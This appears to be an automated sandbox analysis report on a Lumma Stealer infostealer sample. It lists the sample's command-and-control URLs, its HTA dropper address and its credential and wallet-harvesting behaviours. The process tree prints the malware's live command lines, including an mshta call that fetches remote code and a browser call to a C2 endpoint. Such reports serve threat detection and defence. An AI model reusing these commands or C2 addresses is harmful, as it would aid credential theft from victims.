Analysis

  • max time kernel
    149s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    01/06/2026, 17:06

General

  • Target
    tmp5rwmwn9n.exe
  • Size 2.2MB
  • Sample260601-vmqs1sa12v
  • SHA256 a3d5651526901f3b2752ec485b840b8dc5cc4fce872d5c19d795be9be255fde7
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://snconor.vg

Extracted

Family
  • lumma

C2
  • https://springvc.cyou

  • https://decrnoj.club/xxx

  • https://pomflgf.vu/help

  • https://carytui.vu/caccc

  • https://mushxhb.best/info

  • https://genugsq.best/main

  • https://ulmudhw.shop/create

  • https://strikql.shop/owner

  • https://longmbx.click/manifest

Attributes
  • build_id

    83af73e8484fc9f764374a223760d87d773a2c346e

Signatures

  • Family: Lumma Stealer, LummaC

    Lumma or LummaC is an infostealer written in C++ first seen in August 2022.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Badlisted process makes network request 5 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Time Discovery 1 TTPs 1 IoCs

    Adversary may gather the system time and/or time zone settings from a local or remote system.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Kills process with taskkill 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 2 IoCs
  • Modifies data under HKEY_USERS 2 IoCs
  • Modifies registry class 1 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 19 IoCs
  • Suspicious use of FindShellTrayWindow 34 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\tmp5rwmwn9n.exe
    "C:\Users\Admin\AppData\Local\Temp\tmp5rwmwn9n.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:3992
    • C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" pomflgf.vu/api/set_agent?id=242029CABD24956701AEC7B30ADF174C&token=83af73e8484fc9f764374a223760d87d773a2c346e&description=&agent=Chrome
      2⤵
      • Checks processor information in registry
      • Enumerates system info in registry
      • Modifies data under HKEY_USERS
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of WriteProcessMemory
      PID:2060
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffb06e9c728,0x7ffb06e9c734,0x7ffb06e9c740
        3⤵
          PID:4936
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1708,i,3819260313250761737,15724150719769518675,262144 --field-trial-handle=2020,i,5642861853335036853,9377655442225556126,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2016 /prefetch:2
          3⤵
            PID:3612
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1628,i,16347212204442426220,1051351079180211423,524288 --field-trial-handle=2020,i,5642861853335036853,9377655442225556126,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2252 /prefetch:3
            3⤵
            • System Time Discovery
            PID:3484
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2368,i,913682194279308888,6588416532349796280,524288 --field-trial-handle=2020,i,5642861853335036853,9377655442225556126,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2616 /prefetch:8
            3⤵
              PID:1392
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3140,i,8634166729043219088,16146694993349530003,2097152 --field-trial-handle=2020,i,5642861853335036853,9377655442225556126,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3276 /prefetch:1
              3⤵
                PID:2904
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3152,i,13161972629563588446,11923211885300027820,2097152 --field-trial-handle=2020,i,5642861853335036853,9377655442225556126,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3304 /prefetch:1
                3⤵
                  PID:4732
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4272,i,2093384638844529231,5724051053544209469,2097152 --field-trial-handle=2020,i,5642861853335036853,9377655442225556126,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4308 /prefetch:2
                  3⤵
                    PID:3120
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5244,i,12757593796986878419,9175047871859185346,524288 --field-trial-handle=2020,i,5642861853335036853,9377655442225556126,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5248 /prefetch:8
                    3⤵
                      PID:824
                  • C:\Windows\SYSTEM32\mshta.exe
                    mshta.exe https://snconor.vg
                    2⤵
                    • Badlisted process makes network request
                    • Modifies Internet Explorer settings
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1836
                • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                  "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                  1⤵
                    PID:3816
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
                    1⤵
                      PID:3936
                    • C:\Windows\system32\taskkill.exe
                      taskkill /F /IM mshta.exe
                      1⤵
                      • Process spawned unexpected child process
                      • Kills process with taskkill
                      • Suspicious use of AdjustPrivilegeToken
                      PID:3352
                    • C:\Windows\system32\wscript.exe
                      wscript.exe
                      1⤵
                        PID:2068
                      • C:\Windows\system32\conhost.exe
                        conhost.exe
                        1⤵
                        • Suspicious use of SetWindowsHookEx
                        • Suspicious use of WriteProcessMemory
                        PID:888
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe
                          2⤵
                            PID:4904

                        Network

                              MITRE ATT&CK Enterprise v16

                              Replay Monitor

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                              Downloads

                              BookmarkMergedSurfaceOrdering

                              • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
                              • Size 6B
                              • SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
                              • MD5 SHA1 SHA512

                              BrowsingTopicsState

                              • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
                              • Size 649B
                              • SHA256 a8773a7d9621156b30882ba95a2de49f331f016971412009046f479cfc249ce1
                              • MD5 SHA1 SHA512 TLSH

                              SCT Auditing Pending Reports

                              • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
                              • Size 2B
                              • SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
                              • MD5 SHA1 SHA512

                              Web Data

                              • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data
                              • Size 138KB
                              • SHA256 28de43b363755f7024c290912b4b9196e2c5de177931bfab6cab21aa8e130a9d
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              Last Version

                              • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Last Version
                              • Size 13B
                              • SHA256 e5efa9eb104cd0b25149c2e789bec8d9aa4ba95678831b657eef7780a281c391
                              • MD5 SHA1 SHA512

                              Local State

                              • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                              • Size 115KB
                              • SHA256 3619b9f7bf673df9f6f5ab0a05dee687b88317a63c89691b71fc6edbf6e02b33
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              memory/3992-59-0x0000000023410000-0x0000000023411000-memory.dmp

                              memory/3992-55-0x0000000023410000-0x0000000023411000-memory.dmp

                              memory/3992-81-0x0000000023410000-0x0000000023411000-memory.dmp

                              memory/3992-80-0x0000000023410000-0x0000000023411000-memory.dmp

                              memory/3992-79-0x0000000023410000-0x0000000023411000-memory.dmp

                              memory/3992-78-0x0000000023410000-0x0000000023411000-memory.dmp

                              memory/3992-77-0x0000000023410000-0x0000000023411000-memory.dmp

                              memory/3992-76-0x0000000023410000-0x0000000023411000-memory.dmp

                              memory/3992-75-0x0000000023410000-0x0000000023411000-memory.dmp

                              memory/3992-74-0x0000000023410000-0x0000000023411000-memory.dmp

                              memory/3992-73-0x0000000023410000-0x0000000023411000-memory.dmp

                              memory/3992-72-0x0000000023410000-0x0000000023411000-memory.dmp

                              memory/3992-71-0x0000000023410000-0x0000000023411000-memory.dmp

                              memory/3992-70-0x0000000023410000-0x0000000023411000-memory.dmp

                              memory/3992-69-0x0000000023410000-0x0000000023411000-memory.dmp

                              memory/3992-68-0x0000000023410000-0x0000000023411000-memory.dmp

                              memory/3992-67-0x0000000023410000-0x0000000023411000-memory.dmp

                              memory/3992-66-0x0000000023410000-0x0000000023411000-memory.dmp

                              memory/3992-65-0x0000000023410000-0x0000000023411000-memory.dmp

                              memory/3992-64-0x0000000023410000-0x0000000023411000-memory.dmp

                              memory/3992-63-0x0000000023410000-0x0000000023411000-memory.dmp

                              memory/3992-61-0x0000000023410000-0x0000000023411000-memory.dmp

                              memory/3992-60-0x0000000023410000-0x0000000023411000-memory.dmp

                              memory/3992-0-0x0000000021340000-0x000000002139F000-memory.dmp

                              memory/3992-58-0x0000000023410000-0x0000000023411000-memory.dmp

                              memory/3992-57-0x0000000023410000-0x0000000023411000-memory.dmp

                              memory/3992-56-0x0000000023410000-0x0000000023411000-memory.dmp

                              memory/3992-62-0x0000000023410000-0x0000000023411000-memory.dmp

                              memory/3992-54-0x0000000023410000-0x0000000023411000-memory.dmp

                              memory/3992-53-0x0000000023410000-0x0000000023411000-memory.dmp

                              memory/3992-52-0x0000000023410000-0x0000000023411000-memory.dmp

                              memory/3992-51-0x0000000023410000-0x0000000023411000-memory.dmp

                              memory/3992-50-0x0000000023410000-0x0000000023411000-memory.dmp

                              memory/3992-49-0x0000000023410000-0x0000000023411000-memory.dmp

                              memory/3992-48-0x0000000023410000-0x0000000023411000-memory.dmp

                              memory/3992-46-0x0000000023410000-0x0000000023411000-memory.dmp

                              memory/3992-45-0x0000000023410000-0x0000000023411000-memory.dmp

                              memory/3992-44-0x0000000023410000-0x0000000023411000-memory.dmp

                              memory/3992-43-0x0000000023410000-0x0000000023411000-memory.dmp

                              memory/3992-47-0x0000000023410000-0x0000000023411000-memory.dmp

                              memory/3992-1-0x0000000021340000-0x000000002139F000-memory.dmp

                              memory/3992-90-0x0000000023410000-0x0000000023411000-memory.dmp

                              memory/3992-101-0x0000000023410000-0x0000000023411000-memory.dmp

                              memory/3992-100-0x0000000023410000-0x0000000023411000-memory.dmp

                              memory/3992-92-0x0000000023410000-0x0000000023411000-memory.dmp

                              memory/3992-99-0x0000000023410000-0x0000000023411000-memory.dmp

                              memory/3992-98-0x0000000023410000-0x0000000023411000-memory.dmp

                              memory/3992-97-0x0000000023410000-0x0000000023411000-memory.dmp

                              memory/3992-96-0x0000000023410000-0x0000000023411000-memory.dmp

                              memory/3992-95-0x0000000023410000-0x0000000023411000-memory.dmp

                              memory/3992-94-0x0000000023410000-0x0000000023411000-memory.dmp

                              memory/3992-93-0x0000000023410000-0x0000000023411000-memory.dmp

                              memory/3992-91-0x0000000023410000-0x0000000023411000-memory.dmp

                              memory/3992-102-0x0000000021340000-0x000000002139F000-memory.dmp